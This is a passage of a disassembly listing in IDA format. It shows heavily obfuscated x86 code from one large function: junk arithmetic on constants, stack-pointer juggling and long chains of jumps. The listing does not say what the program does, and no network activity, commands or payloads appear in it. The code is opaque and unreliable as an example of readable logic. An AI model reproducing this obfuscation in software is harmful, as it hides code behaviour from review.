loc_5A34B4:				; CODE XREF: sub_58A891+19E54j
		add	ebp, 1D567676h
		and	ebp, 23C361F7h
		or	ebp, 7FD3E30h
		add	ebp, 36CE282Ah
		add	edx, 65F71571h
		sub	edx, ebp
		sub	edx, 65F71571h
		pop	ebp
		jmp	loc_5AF8C8
; ---------------------------------------------------------------------------


loc_5A34E0:				; CODE XREF: sub_58A891+206C1j
		push	edi
		push	esp
		pop	edi
		jmp	loc_59F088
; ---------------------------------------------------------------------------


loc_5A34E8:				; CODE XREF: sub_58A891+17025j
		mov	cl, 83h
		jmp	loc_5B05EF
; ---------------------------------------------------------------------------


loc_5A34EF:				; CODE XREF: sub_58A891+1708Cj
					; sub_58A891+23C21j
		mov	edi, [esp+2Eh+var_30+2]
		jmp	loc_5AF647
; ---------------------------------------------------------------------------


loc_5A34F7:				; CODE XREF: sub_58A891+21934j
		add	ah, ch
		pop	ecx
		push	small 7EB9h
		mov	word ptr [esp+2Ch+var_2C], bx
		mov	bh, 7Ah
		sub	ah, bh
		jmp	loc_59C6A6
; ---------------------------------------------------------------------------


loc_5A350B:				; CODE XREF: sub_58A891+1E443j
		add	eax, ecx
		jmp	loc_5AFE01
; ---------------------------------------------------------------------------


loc_5A3512:				; CODE XREF: sub_58A891+188E0j
		push	ebx
		mov	ebx, 42727BF9h
		sub	ebx, 42727BF5h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+32h+var_34+2]
		pop	esp
		pop	esi
		sub	ebx, 44503EF8h
		jmp	loc_5A33A7
; ---------------------------------------------------------------------------


loc_5A3534:				; CODE XREF: sub_58A891+2178Bj
		sub	ah, dl
		pop	edx
		sub	ah, 6Ah
		add	ah, 39h
		sub	ah, 0FFh
		sub	ah, 0E9h
		jmp	loc_5B01AA
; ---------------------------------------------------------------------------


loc_5A3548:				; CODE XREF: sub_58A891+26E32j
		sub	ebx, 0E883941Ch
		jmp	loc_5ABF8C
; ---------------------------------------------------------------------------


loc_5A3553:				; CODE XREF: sub_58A891+1CACFj
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], edx
		jmp	loc_5B180A
; ---------------------------------------------------------------------------


loc_5A3561:				; CODE XREF: sub_58A891+26203j
		sub	edi, edx
		pop	edx
		add	edi, eax
		add	edi, 646F35DEh
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+26h+var_28+2], eax
		mov	eax, 736E3816h
		add	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebp
		push	ecx
		mov	ecx, 18F343BCh
		jmp	loc_5A3BA2
; ---------------------------------------------------------------------------


loc_5A3591:				; CODE XREF: sub_58A891+28029j
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], ecx
		jmp	loc_5AE982
; ---------------------------------------------------------------------------


loc_5A359C:				; CODE XREF: sub_58A891+26731j
		add	edx, 246736CBh
		add	edx, ecx
		sub	edx, 246736CBh
		add	edx, 2ABF3C63h
		pop	ecx
		jmp	loc_5AB0BA
; ---------------------------------------------------------------------------


loc_5A35B6:				; CODE XREF: sub_58A891+1C26Fj
		push	[esp+2Ah+var_28+2]
		push	[esp+2Eh+var_30+2]
		pop	ebp
		add	esp, 4
		jmp	loc_5B2115
; ---------------------------------------------------------------------------


loc_5A35C9:				; CODE XREF: sub_58A891+1AE0Ej
		sub	ebp, ebx
		pop	ebx
		add	ebp, esi
		add	ebp, 2D331406h
		pop	esi
		push	ecx
		jmp	loc_59D540
; ---------------------------------------------------------------------------


loc_5A35DB:				; CODE XREF: sub_58A891+171D9j
		add	eax, ebp
		mov	ebp, [esp+0D6h+var_D8+2]
		add	esp, 4
		xor	eax, [esp+0D2h+var_D4+2]
		xor	[esp+0D2h+var_D4+2], eax
		xor	eax, [esp+0D2h+var_D4+2]
		jmp	loc_5B18E1
; ---------------------------------------------------------------------------


loc_5A35F1:				; CODE XREF: sub_58A891+1C87Fj
		add	eax, edx
		pop	edx
		xchg	eax, [esp+0CEh+var_D0+2]
		mov	esp, [esp+0CEh+var_D0+2]
		sub	ebx, 0C8093FEh
		sub	eax, ebx
		mov	ebx, [esp+0CEh+var_D0+2]
		add	esp, 4
		sub	ebx, 63207002h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5AA1B6
; ---------------------------------------------------------------------------


loc_5A3625:				; CODE XREF: sub_58A891+16565j
		mov	word ptr [esp+30h+var_30], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A362E:				; CODE XREF: sub_58A891+1F11Cj
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+30h+var_30]
		pop	esp
		jmp	loc_5A502F
; ---------------------------------------------------------------------------


loc_5A3648:				; CODE XREF: sub_58A891+136DCj
		add	edi, edx
		jmp	loc_5AF4FF
; ---------------------------------------------------------------------------


loc_5A364F:				; CODE XREF: sub_58A891+26817j
		sub	esp, 4
		mov	[esp+90h+var_92+2], ecx
		push	ebx
		mov	bl, 6Fh
		mov	cl, bl
		jmp	loc_5AD46A
; ---------------------------------------------------------------------------


loc_5A3662:				; CODE XREF: sub_58A891+279D0j
		mov	[esp+94h+var_96+2], eax
		push	edx
		jmp	loc_5B2282
; ---------------------------------------------------------------------------


loc_5A366B:				; CODE XREF: sub_58A891+1E0D3j
					; sub_58A891+229E1j ...
		push	ebp
		push	edi
		jmp	loc_59F1D6
; ---------------------------------------------------------------------------
		push	ecx
		push	25F27B11h
		mov	ecx, [esp+0A8h+var_AA+2]
		push	edx
		mov	edx, esp
		jmp	loc_5B29F3
; ---------------------------------------------------------------------------


loc_5A3683:				; CODE XREF: sub_58A891+22822j
		push	esp
		pop	edx
		push	57F4h
		mov	[esp+0B0h+var_B2+2], ecx
		mov	ecx, 146F74D5h
		jmp	loc_59ECFB
; ---------------------------------------------------------------------------


loc_5A3697:				; CODE XREF: sub_58A891+14A0Aj
		add	eax, 4
		add	eax, 4
		jmp	loc_5B0DDC
; ---------------------------------------------------------------------------


loc_5A36A4:				; CODE XREF: sub_58A891+1CF76j
		mov	edx, 342367C5h
		push	ecx
		mov	ecx, 14285D38h
		and	edx, ecx
		mov	ecx, [esp+0CAh+var_CC+2]
		jmp	loc_5A0AC8
; ---------------------------------------------------------------------------


loc_5A36B9:				; CODE XREF: sub_58A891:loc_5A4286j
		sub	eax, 12E699BEh
		jmp	loc_5A2638
; ---------------------------------------------------------------------------


loc_5A36C3:				; CODE XREF: sub_58A891+1E2BEj
		mov	eax, [esp+0CAh+var_CC+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5AAEEF
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		sub	esp, 4
		mov	[esp+0D6h+var_D8+2], ebx
		jmp	loc_5AEBE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+0D6h+var_D8+2]
		push	602Eh
		mov	[esp+0DAh+var_DC+2], ecx
		push	esp
		jmp	loc_5ADEF0
; ---------------------------------------------------------------------------


loc_5A36FB:				; CODE XREF: sub_58A891+27F3Dj
		not	ah
		xor	ah, 0CBh
		sub	bl, ah
		pop	eax
		jmp	loc_5B1F3C
; ---------------------------------------------------------------------------


loc_5A3708:				; CODE XREF: sub_58A891+1E56Fj
		add	edx, edi
		jmp	loc_59C310
; ---------------------------------------------------------------------------


loc_5A370F:				; CODE XREF: sub_58A891+25DA3j
		xor	edx, 46E58D5Ah
		jmp	loc_5A67CE
; ---------------------------------------------------------------------------


loc_5A371A:				; CODE XREF: sub_58A891+1701Fj
		mov	[esp+0], edi
		mov	edi, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], ecx
		mov	ecx, 6F122A4h
		xor	ecx, 6E3C103Ch
		add	eax, ecx
		mov	ecx, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_59DBD7
; ---------------------------------------------------------------------------


loc_5A3743:				; CODE XREF: sub_58A891+1D3D5j
		inc	edi
		push	ebp
		mov	ebp, 0DDD1008Eh
		sub	edi, ebp
		jmp	loc_5B0CA0
; ---------------------------------------------------------------------------


loc_5A3751:				; CODE XREF: sub_58A891+1FC82j
		push	esi
		mov	esi, 89AD3912h
		xor	ebp, esi
		pop	esi
		sub	ebx, ebp
		pop	ebp
		add	ebx, 63207002h
		push	ebp
		push	esi
		mov	esi, 16B31332h
		push	eax
		push	75937B1Dh
		jmp	loc_59EA34
; ---------------------------------------------------------------------------


loc_5A3775:				; CODE XREF: sub_58A891+22B41j
		dec	byte ptr [esp+0Eh+var_10+2]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A377E:				; CODE XREF: sub_58A891+1A86Aj
		shl	eax, cl
		jmp	loc_5AEB1F
; ---------------------------------------------------------------------------


loc_5A3785:				; CODE XREF: sub_58A891+15C83j
		xor	ebx, edi
		pop	edi
		mov	esi, [esp+0AAh+var_AA]
		push	edi
		jmp	loc_59D201
; ---------------------------------------------------------------------------


loc_5A3791:				; CODE XREF: sub_58A891+210B5j
		pop	ecx
		mov	eax, ecx
		jmp	loc_5B0F99
; ---------------------------------------------------------------------------


loc_5A3799:				; CODE XREF: sub_58A891+13E55j
		mov	[esp+7Ch+var_7E+2], edx
		jmp	loc_59DE09
; ---------------------------------------------------------------------------


loc_5A37A1:				; CODE XREF: sub_58A891+27231j
		add	edx, ebp
		pop	ebp
		push	edx
		push	[esp+7Ch+var_7A+2]
		pop	edx
		jmp	loc_5A42A7
; ---------------------------------------------------------------------------


loc_5A37AF:				; CODE XREF: sub_58A891+143EFj
		mov	[esp+72h+var_74+2], ecx
		jmp	loc_5A581D
; ---------------------------------------------------------------------------


loc_5A37B7:				; CODE XREF: sub_58A891+16209j
					; sub_58A891+269DEj
		jmp	loc_5A2922
; ---------------------------------------------------------------------------


loc_5A37BC:				; CODE XREF: sub_58A891+25C0Fj
		shl	eax, 5
		sub	eax, 7BAF12A1h
		jnz	loc_5A3467
		push	edx
		jmp	loc_5A0301
; ---------------------------------------------------------------------------
		and	ebx, 77572C70h
		pop	edi


loc_5A37D7:				; CODE XREF: sub_58A891+1FB45j
		pop	esp
		jmp	loc_5B0640
; ---------------------------------------------------------------------------


loc_5A37DD:				; CODE XREF: sub_58A891+12FB4j
		sub	esp, 4
		mov	[esp+80h+var_82+2], edx
		mov	edx, 294762D7h
		dec	edx
		xor	edx, 3D8E64D7h
		jmp	loc_59C04A
; ---------------------------------------------------------------------------


loc_5A37F4:				; CODE XREF: sub_58A891+1CDBBj
		add	esp, 4
		mov	edx, [esp+7Ch+var_7E+2]
		add	esp, 4
		neg	edi
		jnz	loc_5B2720
		xor	edi, 0DBF8B258h
		push	edi
		jmp	loc_5AA406
; ---------------------------------------------------------------------------


loc_5A3811:				; CODE XREF: sub_58A891+14FAAj
					; sub_58A891+158BAj
		mov	edi, [esp+22h+var_24+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+22h+var_24+2], esi
		jmp	loc_5A75AD
; ---------------------------------------------------------------------------


loc_5A3828:				; CODE XREF: sub_58A891+207E8j
					; sub_58A891+20A8Fj
		jnp	loc_59FB78
		sub	esi, 0B1205h
		push	esi
		sub	[esp+26h+var_28+2], 61695D31h
		mov	eax, [esp+26h+var_28+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		add	eax, 61695D31h
		jmp	loc_5A50FA
; ---------------------------------------------------------------------------


loc_5A385E:				; CODE XREF: sub_58A891+118AEj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		mov	[esp+2+var_4+2], eax
		push	ebx
		jmp	loc_59CE93
; ---------------------------------------------------------------------------


loc_5A3879:				; CODE XREF: sub_58A891+17515j
					; sub_58A891+22D46j
		xor	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 23BF5520h
		jmp	loc_5ABF16
; ---------------------------------------------------------------------------


loc_5A3887:				; CODE XREF: sub_58A891+1FAB3j
		add	esi, 4
		add	esi, 4
		jmp	loc_5B22E3
; ---------------------------------------------------------------------------


loc_5A3895:				; CODE XREF: sub_58A891+14013j
		add	edi, ecx
		jmp	loc_5B106F
; ---------------------------------------------------------------------------


loc_5A389C:				; CODE XREF: sub_58A891+16364j
		sub	edi, 76E94A08h
		add	edi, 4B753884h
		mov	ebp, edi
		push	[esp-0Eh+arg_4+2]
		pop	edi
		add	esp, 4
		jmp	loc_5A3AFD
; ---------------------------------------------------------------------------


loc_5A38B9:				; CODE XREF: sub_58A891+13937j
		shl	eax, 2
		js	loc_5AFF54
		xor	eax, 3D0A5A11h
		jo	loc_59CB64
		and	eax, 41E83AB2h
		jmp	loc_59D05A
; ---------------------------------------------------------------------------


loc_5A38D7:				; CODE XREF: sub_58A891+24B03j
		push	edx
		jmp	loc_5B10F0
; ---------------------------------------------------------------------------


loc_5A38DD:				; CODE XREF: sub_58A891+13642j
		mov	edi, [esp-0Ah+arg_0+2]
		add	esp, 4
		mov	edx, [esp-0Eh+arg_4+2]
		add	esp, 4
		add	edx, 4
		jmp	loc_5B1115
; ---------------------------------------------------------------------------


loc_5A38FA:				; CODE XREF: sub_58A891+21573j
		add	edi, 3082DF88h
		mov	ebp, edi
		pop	edi
		jmp	loc_5A7D49
; ---------------------------------------------------------------------------


loc_5A3908:				; CODE XREF: sub_58A891+1A3DAj
		mov	ch, 21h
		sub	al, ch
		pop	ecx
		add	al, dl
		jmp	loc_5A84D0
; ---------------------------------------------------------------------------


loc_5A3914:				; CODE XREF: sub_58A891+1B791j
		add	ebp, 6B9E417h
		add	eax, ebp
		pop	ebp
		add	eax, 0EE09FDA8h
		or	[edi+1Ch], eax
		jmp	loc_59FA91
; ---------------------------------------------------------------------------


loc_5A392A:				; CODE XREF: sub_58A891+269A4j
		mov	ecx, 6100BCABh
		sub	esi, ecx
		pop	ecx
		jmp	loc_5A8380
; ---------------------------------------------------------------------------


loc_5A3937:				; CODE XREF: sub_58A891+24DDAj
		pop	edi
		add	edi, 4
		jmp	loc_59DA80
; ---------------------------------------------------------------------------


loc_5A3943:				; CODE XREF: sub_58A891+11CDCj
		push	[esp+26h+var_28+2]
		jmp	loc_5A94B9
; ---------------------------------------------------------------------------


loc_5A394B:				; CODE XREF: sub_58A891+1985Dj
		sub	ecx, edx
		pop	edx
		add	ecx, edi
		jmp	loc_5AB291
; ---------------------------------------------------------------------------


loc_5A3955:				; CODE XREF: sub_58A891+11954j
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 18932599h
		jmp	loc_5B088C
; ---------------------------------------------------------------------------


loc_5A3968:				; CODE XREF: sub_58A891+134F8j
		jz	loc_5A78ED
		add	ebp, 2D7D720Ah
		jmp	loc_5A6249
; ---------------------------------------------------------------------------


loc_5A3979:				; CODE XREF: sub_58A891+22C8Dj
		pop	edx
		push	0A32h
		mov	[esp+92h+var_92], edx
		jmp	loc_5AA32A
; ---------------------------------------------------------------------------


loc_5A3987:				; CODE XREF: sub_58A891+20BDCj
		sub	edx, edi
		mov	edi, [esp+92h+var_92]
		add	esp, 4
		add	edx, eax
		add	edx, 40B954D4h
		push	esi
		mov	esi, 358C1A2Dh
		add	edx, esi
		mov	esi, [esp+92h+var_92]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A39AA:				; CODE XREF: sub_58A891+23D40j
		mov	ah, 0E8h
		jmp	loc_5AE09A
; ---------------------------------------------------------------------------


loc_5A39B1:				; CODE XREF: sub_58A891+2391Bj
		add	ebp, 4
		jmp	loc_5B2241
; ---------------------------------------------------------------------------


loc_5A39B9:				; CODE XREF: sub_58A891+13CB5j
		pop	edi
		xor	edi, 396A68A1h
		sub	esp, 4
		jmp	loc_5A2FD9
; ---------------------------------------------------------------------------


loc_5A39CB:				; CODE XREF: sub_58A891+1E4B8j
		pop	ebp
		pop	[esp+26h+var_28+2]
		jmp	loc_5A21EE
; ---------------------------------------------------------------------------


loc_5A39D4:				; CODE XREF: sub_58A891:loc_5AD36Aj
		add	ecx, 3845057Eh
		jo	loc_5AC24F
		xor	ecx, 0EA065628h
		jmp	loc_5A0B44
; ---------------------------------------------------------------------------
		or	al, 69h
		pop	ebp


loc_5A39EE:				; CODE XREF: sub_58A891+1B064j
		mov	esi, 4
		jmp	loc_5AF779
; ---------------------------------------------------------------------------


loc_5A39F8:				; CODE XREF: sub_58A891+2725Fj
		push	eax
		mov	al, 34h
		xor	ch, al
		pop	eax
		add	al, 54h
		add	al, 18h
		sub	al, ch
		sub	al, 18h
		sub	al, 54h
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_5AA253
; ---------------------------------------------------------------------------


loc_5A3A13:				; CODE XREF: sub_58A891+17FCDj
		pop	ebx
		push	72D5h
		mov	[esp+92h+var_92], ebp
		jmp	loc_5AFA53
; ---------------------------------------------------------------------------


loc_5A3A21:				; CODE XREF: sub_58A891+18248j
		dec	ebp
		jo	loc_59DD88
		inc	ebp
		jmp	loc_5A7943
; ---------------------------------------------------------------------------


loc_5A3A2E:				; CODE XREF: sub_58A891+20A9Ej
					; sub_58A891+26299j
		mov	eax, ebx
		jmp	loc_5B101F
; ---------------------------------------------------------------------------


loc_5A3A35:				; CODE XREF: sub_58A891+1F0F4j
		mov	esi, ebp
		pop	ebp
		add	ebx, esi
		jmp	loc_59C9E1
; ---------------------------------------------------------------------------


loc_5A3A3F:				; CODE XREF: sub_58A891+20373j
		add	esp, 4
		pop	edi
		xchg	ebp, [esp+82h+var_82]
		pop	esp
		xor	edi, 5E111BA3h
		jnz	loc_59D535
		jmp	loc_5A7F1E
; ---------------------------------------------------------------------------
		push	esp
		jmp	loc_5A2DD0
; ---------------------------------------------------------------------------
		add	al, 0D0h
		push	edi
		push	1DAEh
		mov	[esp+8Ah+var_8A], edx
		push	3Ch
		pop	edx
		push	edi
		jmp	loc_5A8DFB
; ---------------------------------------------------------------------------


loc_5A3A75:				; CODE XREF: sub_58A891+27D8Cj
		mov	[esp+8Eh+var_8E], edx
		push	ebx
		add	[esp+92h+var_92], 7AED47C4h
		pop	edx
		jmp	loc_5A969A
; ---------------------------------------------------------------------------


loc_5A3A86:				; CODE XREF: sub_58A891+24554j
		sub	ecx, 0CEDCAF42h
		or	edx, ecx
		mov	ecx, [esp+8Eh+var_8E]
		add	esp, 4
		xor	edx, 0C02F84Dh
		and	ecx, edx
		pop	edx
		xor	ecx, 520431BAh
		add	eax, ecx
		mov	ecx, [esp+86h+var_86]
		add	esp, 4
		pop	ebp
		jmp	loc_5AC359
; ---------------------------------------------------------------------------


loc_5A3AB7:				; CODE XREF: sub_58A891+1A521j
		mov	[esp+7Eh+var_7E], ebx
		push	edx
		mov	dl, cl
		mov	bh, dl
		jmp	loc_5AFA4C
; ---------------------------------------------------------------------------


loc_5A3AC4:				; CODE XREF: sub_58A891+23014j
					; sub_58A891+25AF7j
		push	309Ah
		mov	[esp+86h+var_86], esi
		jmp	loc_5A411D
; ---------------------------------------------------------------------------


loc_5A3AD1:				; CODE XREF: sub_58A891+1868Aj
		mov	ecx, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5B2A38
; ---------------------------------------------------------------------------


loc_5A3AE2:				; CODE XREF: sub_58A891+17903j
		add	ecx, 53087977h
		sub	ecx, 25EF4A10h
		jmp	loc_5AA1D9
; ---------------------------------------------------------------------------


loc_5A3AF3:				; CODE XREF: sub_58A891:loc_5A5CB3j
		push	edx
		mov	dl, 1
		sub	cl, dl
		jmp	loc_5AC16C
; ---------------------------------------------------------------------------


loc_5A3AFD:				; CODE XREF: sub_58A891+19023j
		or	edi, ebp
		mov	ebp, [esp-12h+arg_8+2]
		add	esp, 4
		neg	edi
		jl	loc_5A6440
		sub	edi, 0A92B10CCh
		inc	edi
		sub	edi, 7CDB54C4h
		push	esi


loc_5A3B1E:				; CODE XREF: sub_58A891+25517j
		push	28C7h
		mov	[esp-0Eh+arg_4+2], esp
		add	[esp-0Eh+arg_4+2], 4
		mov	ecx, [esp-0Eh+arg_4+2]
		add	esp, 4
		jmp	loc_5AAA2D
; ---------------------------------------------------------------------------


loc_5A3B35:				; CODE XREF: sub_58A891+24C82j
		sub	ecx, 37387829h
		add	ecx, edi
		add	ecx, 37387829h
		push	esi
		mov	esi, 7E4B638Ah
		shl	esi, 6
		jnz	loc_5A95F4
		shl	esi, 5
		js	loc_5AC4FD
		mov	ebx, eax


loc_5A3B5D:				; CODE XREF: sub_58A891+1211Bj
		mov	edx, eax
		mov	edi, edx
		pop	edx
		mov	eax, [esp-12h+arg_8+2]
		add	esp, 4
		xor	edi, 254B0186h
		shl	edi, 6
		push	32FAh
		mov	[esp-12h+arg_8+2], ebx
		jmp	loc_59E2DD
; ---------------------------------------------------------------------------


loc_5A3B7E:				; CODE XREF: sub_58A891+2213Cj
		add	esp, 4
		add	esp, 4
		push	0C1Bh
		mov	[esp-16h+arg_E], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59C68D
; ---------------------------------------------------------------------------


loc_5A3BA2:				; CODE XREF: sub_58A891+18CFBj
		sub	ecx, 1
		jmp	loc_5A88EB
; ---------------------------------------------------------------------------


loc_5A3BAA:				; CODE XREF: sub_58A891+249C6j
		xor	[esp+2Ah+var_2C+2], edi
		xor	edi, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		movzx	ecx, al
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], edx
		sub	esp, 4
		push	esp
		pop	[esp+36h+var_38+2]
		push	edi
		mov	edi, 4
		jmp	loc_59DECF
; ---------------------------------------------------------------------------


loc_5A3BD1:				; CODE XREF: sub_58A891+16891j
		xor	ecx, [esp+54h+var_54]
		mov	esp, [esp+54h+var_54]
		jmp	loc_5A9DD9
; ---------------------------------------------------------------------------


loc_5A3BDC:				; CODE XREF: sub_58A891+1856Fj
		xor	ebp, 119860ACh
		xor	ebp, 756D0466h
		sub	edx, ebp
		mov	ebp, [esp+22h+var_24+2]
		jmp	loc_5A4317
; ---------------------------------------------------------------------------


loc_5A3BF2:				; CODE XREF: sub_58A891+132C7j
		sub	ecx, 4
		xchg	ecx, [esp-0Ah+arg_0+2]
		pop	esp
		jmp	loc_59C0C9
; ---------------------------------------------------------------------------


loc_5A3BFE:				; CODE XREF: sub_58A891+24D49j
		sub	esp, 4
		jmp	loc_5A339F
; ---------------------------------------------------------------------------


loc_5A3C09:				; CODE XREF: sub_58A891+23D7Fj
		shl	edx, 6
		jnp	loc_5AF8FE
		xor	edx, 7F5320C2h
		xor	eax, edx
		mov	edx, [esp-0Ah+arg_0+2]
		or	al, 0AAh


loc_5A3C20:				; CODE XREF: sub_58A891+18B11j
		add	[esp-0Ah+arg_0+2], 4
		mov	ebx, [esp-0Ah+arg_0+2]
		add	esp, 4
		jmp	loc_59D92D
; ---------------------------------------------------------------------------


loc_5A3C32:				; CODE XREF: sub_58A891+27C87j
		add	edx, 4
		jmp	loc_5AEAE1
; ---------------------------------------------------------------------------


loc_5A3C3D:				; CODE XREF: sub_58A891+12B01j
		sub	ecx, 499F7605h
		jmp	loc_5AC844
; ---------------------------------------------------------------------------


loc_5A3C48:				; CODE XREF: sub_58A891+1DA23j
		push	esi
		mov	esi, 221737B3h
		jmp	loc_5A9045
; ---------------------------------------------------------------------------


loc_5A3C53:				; CODE XREF: sub_58A891+1E641j
		mov	esi, 4CAB2286h
		sub	ecx, esi
		pop	esi
		mov	ebp, [esp+0]
		jmp	loc_5AB29E
; ---------------------------------------------------------------------------


loc_5A3C63:				; CODE XREF: sub_58A891+27E82j
		add	eax, 5149479Dh
		add	edi, eax
		jmp	loc_59DF5D
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], esi
		jmp	loc_5B1AA9
; ---------------------------------------------------------------------------


loc_5A3C87:				; CODE XREF: sub_58A891+1D421j
		dec	eax
		neg	eax
		add	eax, 0FC0E39B7h
		add	ebp, eax
		pop	eax
		add	ebp, 0B2176D2h
		sub	ebp, 6180933h
		jmp	loc_5A0E03
; ---------------------------------------------------------------------------


loc_5A3CA3:				; CODE XREF: sub_58A891+19831j
		push	ecx
		mov	ecx, 77605009h
		push	esi
		mov	esi, ecx
		mov	ebp, esi
		pop	esi
		pop	ecx
		inc	ebp
		add	ebp, 4FBE5215h
		and	ebp, 3B668C4h
		jmp	loc_5A1633
; ---------------------------------------------------------------------------


loc_5A3CC2:				; CODE XREF: sub_58A891+22DFAj
		mov	[esp+0], ebp
		push	esi
		push	eax
		mov	eax, 454B26D5h
		neg	eax
		xor	eax, 6C070999h
		shl	eax, 3
		push	ebp
		mov	ebp, 23F2401Eh
		add	ebp, 7603950Ah
		xor	eax, ebp
		pop	ebp
		mov	esi, eax
		mov	eax, [esp+2+var_4+2]
		add	esp, 4
		mov	ebp, 4BFB779Ah
		xor	ebp, esi
		pop	esi
		xor	ebp, 59FF5D59h
		add	ebp, 0C1908785h
		jmp	loc_5A5C28
; ---------------------------------------------------------------------------


loc_5A3D06:				; CODE XREF: sub_58A891+21B33j
		sub	eax, 2E607B16h
		and	eax, 6E987ED2h
		sub	eax, 0D4E7DFE4h
		sub	esi, eax
		pop	eax
		jmp	loc_5A749D
; ---------------------------------------------------------------------------


loc_5A3D1D:				; CODE XREF: sub_58A891+1B20Ej
		sub	[esp-0Ah+arg_0+2], eax
		pop	eax
		add	eax, 50BA7AF5h
		add	eax, 5C134552h
		jmp	loc_5A7BF5
; ---------------------------------------------------------------------------


loc_5A3D30:				; CODE XREF: sub_58A891+17802j
		mov	[esp+8Ch+var_8E+2], ecx
		push	ebx
		push	edx
		jmp	loc_5B0D99
; ---------------------------------------------------------------------------


loc_5A3D3A:				; CODE XREF: sub_58A891+244F1j
		mov	esp, [esp+94h+var_96+2]
		imul	cl
		movzx	cx, ah
		jmp	loc_5A7CB7
; ---------------------------------------------------------------------------


loc_5A3D48:				; CODE XREF: sub_58A891+11CBEj
					; sub_58A891+14850j
		push	ecx
		mov	cl, 5Dh
		mov	al, 8Eh
		xor	al, cl
		pop	ecx
		add	al, 3
		sub	al, dh
		sub	al, 3
		pop	edx
		or	al, 0D0h
		shr	al, 4
		shr	al, 5
		not	al
		jmp	loc_5A63C2
; ---------------------------------------------------------------------------


loc_5A3D66:				; CODE XREF: sub_58A891+180ACj
		pop	eax
		jmp	loc_5B265E
; ---------------------------------------------------------------------------


loc_5A3D6C:				; CODE XREF: sub_58A891:loc_59BFDBj
		add	ebp, 0CC87F2DEh
		mov	esi, ebp
		jmp	loc_59DEF9
; ---------------------------------------------------------------------------


loc_5A3D79:				; CODE XREF: sub_58A891+25474j
		push	edx
		mov	dh, bh
		mov	al, dh
		pop	edx
		not	al
		mov	bh, al
		pop	eax
		not	bh
		jmp	loc_5A48C4
; ---------------------------------------------------------------------------


loc_5A3D8B:				; CODE XREF: sub_58A891+26D8Ej
		sub	ecx, ebx
		push	ebp
		mov	ebp, 0E0206D9h
		jmp	loc_5A3E8B
; ---------------------------------------------------------------------------


loc_5A3D98:				; CODE XREF: sub_58A891+17C6Ej
					; sub_58A891+24802j
		add	edi, 4
		add	edi, 4
		jmp	loc_5A9E82
; ---------------------------------------------------------------------------


loc_5A3DA9:				; CODE XREF: sub_58A891+1F145j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+2Eh+var_30+2]
		jmp	loc_5AD82A
; ---------------------------------------------------------------------------


loc_5A3DC0:				; CODE XREF: sub_58A891+16EB0j
		shl	ebx, 5
		xor	ebx, 0C9433404h
		mov	edx, ebx
		pop	ebx
		sub	ecx, 64763755h
		add	ecx, edx
		add	ecx, 64763755h
		jmp	loc_5AA907
; ---------------------------------------------------------------------------


loc_5A3DDF:				; CODE XREF: sub_58A891+15951j
		jmp	loc_5AE5D0
; ---------------------------------------------------------------------------


loc_5A3DE4:				; CODE XREF: sub_58A891+20268j
		mov	edx, edi
		pop	edi
		and	eax, edx
		mov	edx, [esp-12h+arg_8+2]
		sub	esp, 4
		jmp	loc_5AEF8C
; ---------------------------------------------------------------------------


loc_5A3DF7:				; CODE XREF: sub_58A891:loc_5A78E8j
		shr	esi, 7
		add	esi, 0FF70FDF4h
		jmp	loc_5A0132
; ---------------------------------------------------------------------------


loc_5A3E05:				; CODE XREF: sub_58A891+1AD21j
		add	esp, 4
		sub	edi, 757114E6h
		sub	edi, edx
		add	edi, 757114E6h
		pop	edx
		push	7FFh
		mov	[esp-12h+arg_8+2], edi
		push	[esp-12h+arg_E]
		pop	edi
		pop	[esp-12h+arg_8+2]
		mov	esp, [esp-16h+arg_E]
		mov	[esp-16h+arg_E], eax
		jmp	loc_5A4D8B
; ---------------------------------------------------------------------------


loc_5A3E35:				; CODE XREF: sub_58A891:loc_5A70EAj
		push	ebx
		mov	bh, 0FCh
		xchg	ah, bh
		jmp	loc_5A8E5C
; ---------------------------------------------------------------------------


loc_5A3E3F:				; CODE XREF: sub_58A891+1DD73j
		mov	edx, [esp-12h+arg_8+2]
		add	esp, 4
		jmp	loc_5B18F7
; ---------------------------------------------------------------------------


loc_5A3E4A:				; CODE XREF: sub_58A891+1F9DEj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_59CA40
; ---------------------------------------------------------------------------


loc_5A3E55:				; CODE XREF: sub_58A891+15474j
		pop	esp
		bt	[esp+0], eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A3E60:				; CODE XREF: sub_58A891+21CC8j
